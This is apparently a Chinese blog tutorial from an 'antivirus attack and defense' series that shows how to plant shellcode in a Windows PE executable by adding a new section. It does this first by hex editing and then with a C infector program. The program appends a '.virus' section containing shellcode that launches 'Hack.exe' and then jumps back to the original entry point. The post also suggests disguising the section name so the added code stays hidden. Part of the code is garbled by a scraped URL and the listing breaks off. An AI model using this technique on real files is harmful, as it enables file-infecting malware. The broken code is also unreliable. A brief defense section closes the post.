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反病毒攻防研究第005篇：添加节区实现代码的植入
一、前言
上一篇文章所讨论的利用缝隙实现代码的植入有一个很大的问题，就是我们想要植入的代码的长度不能够比缝隙大，否则需要把自身的代码截成几个部分，再分别插入不同的缝隙中。而这次所讨论的方法是增加一个节区，这个节区完全可以达到私人订制的效果，其大小完全由我们自己来决定，这样的话，即便是代码较长，也不用担心。而这种方式最大的缺陷就是不利于恶意代码自身的隐藏，因此在现实中可能并不常用。其实，我在这里讨论节区的添加，是为了以后更加深入的讨论打下基础，因为在加壳以及免杀技术中，经常会对PE文件添加节区。这篇文章首先会讨论如何手工添加节区，之后会讨论编程实现节区的添加。
二、手工添加节区
就我个人而言，只要不是过于繁琐，我都比较倾向于直接利用十六进制代码编辑软件来修改目标程序。因为当理解了各种文件的格式之后，纯手工对代码进行编辑会更加灵活，也更加方便。只要ShellCode不太长，那么手工添加节区来植入代码，其实还是比较容易的。一般来说，添加节区由以下四个步骤组成：
1、在节表后面添加一个IMAGE_SECTION_HEADER，用于保存所添加的节的基本信息。
2、更新IMAGE_FILE_HEADER中的NumberOfSections字段，添加了几个节区就增加多少。
3、更新IMAGE_OPTIONAL_HEADER中的SizeOfImage字段，这里需要加上所添加节区的大小。如果添加代码，还需修改SizeOfCode的大小以及程序入口点。
4、添加节区的数据。
这里先用PEiD看一下上一篇文章中所编写的helloworld.exe的节区情况（这里所讨论的是Release版，如果是Debug版，会有所不同）：
图1 用PEiD查看节区
从截图中可以看到helloworld.exe包含有三个节区，再来看一下IMAGE_SECTION_HEADER的定义：
typedef struct _IMAGE_SECTION_HEADER {
BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; //8个字节的节区名称
union { //节区尺寸
DWORD PhysicalAddress;
DWORD VirtualSize;
} Misc;
DWORD VirtualAddress; //节区的RVA地址
DWORD SizeOfRawData; //在文件中对齐后的尺寸
DWORD PointerToRawData; //在文件中的偏移
DWORD PointerToRelocations; //在OBJ文件中使用，重定位的偏移
DWORD PointerToLinenumbers; //行号表的偏移（供调试用）
WORD NumberOfRelocations; //在OBJ文件中使用，重定位项数目
WORD NumberofLinenumbers; //行号表中行号的数目
DWORD Characteristics; //节区的属性
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER; 该结构体的成员很多，但是真正需要使用的只有在PEiD中显示的那6个，即Name、VirtualSize、VirtualAddress、SizeofRawData、PointerToRawData与Characteristics。结合Hex Editor Neo观察如下：
在图2中可以发现，IMAGE_SECTION_HEADER的长度是40个字节，每一项节表的相关数据在Hex Editor Neo中正好占了两行半的内容。这里再解释一下在PEiD中所显示的那六个成员的意义：
1、Name：节区名称。这是一个8位ASCII码名（不是Unicode内码），用来定义节区名称。一般来说，节区名称以一个“.”开始（如.text），但是其实这个“.”并不是必需的。需要说明的是，如果节区的名称超过8个字节，则没有最后的终止标志“NULL”字节。带有一个“$”的节区名字会从链接器那里得到特殊的对待，前面带有“$”的相同名字的节区被合并，在合并后的节区中，它们是按“$”后面的字符字母顺序进行合并的。
对于helloworld.exe这个程序来说，为了实现所添加节区的隐藏，可以将新添加的节区名称伪装成正常的节区名称，比如.crt、.bss、.edata或者.sdata等等。或者把原来正常的节区名称改掉，如将原来的.text改为.jy（我名字的缩写），而将所添加的节区名称命名为.text，一般来说，系统不会因为节区改了名字而出错。这里为了方便起见，将新节区的名字设定为.virus。
2、VirtualSize（V.Size）：指出实际的、被使用的节区大小，是节区在没进行对齐处理前的实际大小。如果VirtualSize大于SizeOfRawData，那么SizeOfRawData是来自可执行文件初始化数据的大小，与VirtualSize相差的字节用零填充。这个字段在OBJ文件中是被设定为0的。
这里我将节的大小直接设定为对齐后的大小。由于文件对齐是0x1000字节，那么就采用最小值即可，直接设定为0x1000。由于计算机是小端显示，且占据4个字节，因此应当写为“00 10 00 00”，这种小端的书写方式在之后的数据填写中也会采用。
3、VirtualAddress（V.Offset）：表示节区装载到内存中的RVA。这个地址是按照内存页对齐的，它的值总是SectionAlignment的整数倍。在Microsoft工具中，第一个块的默认RVA为1000h。在OBJ中，该字段没有意义，并被设为0。
VirtualAddress的值是上一个节区的起始位置加上上一个节对齐后的长度的值，在PEiD中可见，上一个节区的起始位置是0x7000，上个节区对齐后的长度是0x4000，因此新节区的起始位置是0xB000。
4、SizeOfRawData（R.Size）：该节区在磁盘文件中所占的大小。在可执行文件中，该字段包含经过FileAlignment调整后的块的长度。例如，指定FileAlignment的大小为200h，如果VirtualSize中的块的长度为19Ah个字节，这一块应保持的长度为200h个字节。
这里只要填写一个最小值0x1000就可以。
5、PointerToRawData（R.Offset）：该节区在磁盘文件中的偏移。程序经编译或汇编后生成原始数据，这个字段用于给出原始数据在文件中的偏移。如果程序自装载PE或COFF文件（而不是由操作系统装入），这一字段比VirtualAddress还重要。在这种状态下，必须完全使用线性映像方法装入文件，所以需要在该偏移处找到块的数据，而不是VirtualAddress字段中的RVA地址。
由于上一个节区的位移为0x7000，大小为0x3000，所以这里的R.Offset应该为0xA000。
6、Characteristics（Flags）：节区属性。该字段是一组指出节区属性（如代码/数据/可读/可写）的标志。具体的属性可以查表获得。
这里可以直接参考.text的属性，即“20 0000 60”（包含代码，可读可执行）。
那么依据上述分析，在紧接着上一个节区位置的0x240处开始，直接手工填写相关数据如下：
图3 手工添加节区的基本信息
至此，节区的基本信息添加完成，接下来需要修改这个PE文件的节区数量，之前该文件有3个节区，这里需要修改成4个。找到IMAGE_FILE_HEADER中的NumberOfSections字段进行修改：
图4 更改节区数量
接下来需要修改文件映像的大小，也就是SizeOfImage的值。因为这里我新添加了一个节区，那么就应该把新的节区的大小加上原始SizeOfImage的值，就是新的文件映像的大小。这里原始的SizeOfImage大小为0xB000，新节区的大小为0x1000，那么新的SizeOfImage的大小就是0xC000。
由于我在文件中添加了新的代码段，所以这里还需要修改SizeOfCode的大小，出现多个代码节，就应该把这个字段修改为它们的总和。我添加了0x1000字节的内容，那么就应将这个数据段修改成0x6000：
图6 修改代码节的大小
至此，修改PE结构字段的内容都已经做完了，现在开始需要添加真实的数据，根据上述分析，文件的起始位置为0xA000，长度为0x1000。填入ShellCode，并在其后填入00，将0x1000长度的空间补满（不补满的话，系统会报错，补多了的话，会显示有附加数据）：
图7 添加ShellCode
至此，所有修改完成，再次使用PEiD查看，如图所示：
图9 添加成功
经过实际测试，程序正常运行，效果与上一篇文章所讨论的相同，这里不再赘述。
三、编程添加节区
与上一篇文章中的在缝隙中添加代码的方法类似，通过编程添加一个节区其实就是对文件的一系列操作，并且依然需要对PE文件的合法性进行检验。通过编程的方法添加节区和手动方法在步骤上是一样的，只不过是将上面的手动步骤以通过调用API函数的方式进行编程而已。完整代码如下：#include <windows.h>
#define FILENAME "helloworld.exe" //欲“感染”的文件名
char szSecName[] = ".virus"; //所添加的节区名称
int nSecSize = 4096; //所添加的节区大小（字节）
char shellcode[] =
"\x33\xdb" //xor ebx,ebx
"\x53" //push ebx
"\x68\x2e\x65\x78\x65" //push 0x6578652e
"\x68\x48\x61\x63\x6b" //push 0x6b636148
"\x8b\xc4" //mov eax,esp
"\x53" //push ebx
"\x50" //push eax
"\xb8\x31\x32\x86\x7c" //mov eax,0x7c863231
"\xff\xd0" //call eax
"\xb8\x90\x90\x90\x90" //mov eax,OEP
"\xff\xe0\x90"; //jmp eax
HANDLE hFile = NULL;
HANDLE hMap = NULL;
LPVOID lpBase = NULL;
DWORD AlignSize(int nSecSize, DWORD Alignment)
{
int nSize = nSecSize;
if (nSize % Alignment != 0 )
{
nSecSize = (nSize / Alignment + 1) * Alignment;
}
return nSecSize;
}
void AddSectionData(int nSecSize)
{
PBYTE pByte = NULL;
//申请用来添加数据的空间，这里需要减去ShellCode本身所占的空间
pByte = (PBYTE)malloc(nSecSize-(strlen(shellcode)+3));
ZeroMemory(pByte, nSecSize-(strlen(shellcode)+3));
DWORD dwNum = 0;
//令文件指针指向文件末尾，以准备添加数据
SetFilePointer(hFile, 0, 0, FILE_END);
//在文件的末尾写入ShellCode
WriteFile(hFile, shellcode, strlen(shellcode)+3, &dwNum, NULL);
//在ShellCode的末尾用00补充满
WriteFile(hFile, pByte, nSecSize-(strlen(shellcode)+3), &dwNum, NULL);
FlushFileBuffers(hFile);
free(pByte);
}
int main()
{
hFile = CreateFile(FILENAME,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
hMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,0);
lpBase = MapViewOfFile(hMap,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
PIMAGE_NT_HEADERS pNtHeader = NULL;
//PE文件验证，判断e_magic是否为MZ
if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
UnmapViewOfFile(lpBase);
CloseHandle(hMap);
CloseHandle(hFile);
return 0;
}
//根据e_lfanew来找到Signature标志位
pNtHeader = (PIMAGE_NT_HEADERS)((BYTE *)lpBase + pDosHeader->e_lfanew);
//PE文件验证，判断Signature是否为PE
if(pNtHeader->Signature != IMAGE_NT_SIGNATURE)
{
UnmapViewOfFile(lpBase);
CloseHandle(hMap);
CloseHandle(hFile);
return 0;
}
int nSecNum = pNtHeader->FileHeader.NumberOfSections;
DWORD dwFileAlignment = pNtHeader->OptionalHeader.FileAlignment;
DWORD dwSecAlignment = pNtHeader->OptionalHeader.SectionAlignment;
PIMAGE_SECTION_HEADER pSecHeader = (PIMAGE_SECTION_HEADER)((DWORD)
&(pNtHeader->OptionalHeader)+pNtHeader->
FileHeader.SizeOfOptionalHeader);
PIMAGE_SECTION_HEADER pTmpSec = pSecHeader + nSecNum;
//拷贝节区名称
strncpy((char *)pTmpSec->Name, szSecName, 7);
//节的内存大小
pTmpSec->Misc.VirtualSize = AlignSize(nSecSize, dwSecAlignment);
//节的内存起始位置
pTmpSec->VirtualAddress = pSecHeader[nSecNum - 1].VirtualAddress +
AlignSize(pSecHeader[nSecNum - 1].Misc.VirtualSize, dwSecAlignment);
//节的文件大小
pTmpSec->SizeOfRawData = http://www.mamicode.com/AlignSize(nSecSize, dwFileAlignment);> 以上代码比较简单，就是基本的文件操作，已给出了相关的注释，这里不再论述。
四、防范方法
在我看来，感染类病毒并不容易清除，因为它会把自身代码植入到正常PE文件中，尽管中毒后可以运用杀毒工具针对其对计算机造成的损害进行清除，但是难以删除隐藏在正常程序中的恶意代码。虽然我们可以不再运行含有恶意程序的软件，但是只要运行过一次，那么它就有可能将计算机中的所有PE文件感染，这样即便我们使用杀毒工具清除了病毒所产生的不良行为，但是一旦运行别的程序，依旧会再次中病毒。而且就算有方法将藏身于PE文件中的病毒代码彻底清除，也有可能破坏程序主体，使该程序不能够正常运行。因此，最好的方法就是从源头上杜绝这种情况的出现，不要下载和运行来历不明的程序，并且安装杀毒软件。也就是说，一定要培养出良好的计算机安全意识。
五、小结
这次我们讨论了手工以及编程添加节区的方法，其实它的原理非常简单，只是比较繁琐而已。通过这篇文章的讨论，也为以后的免杀技术的讨论打下了基础。
反病毒攻防研究第005篇：添加节区实现代码的植入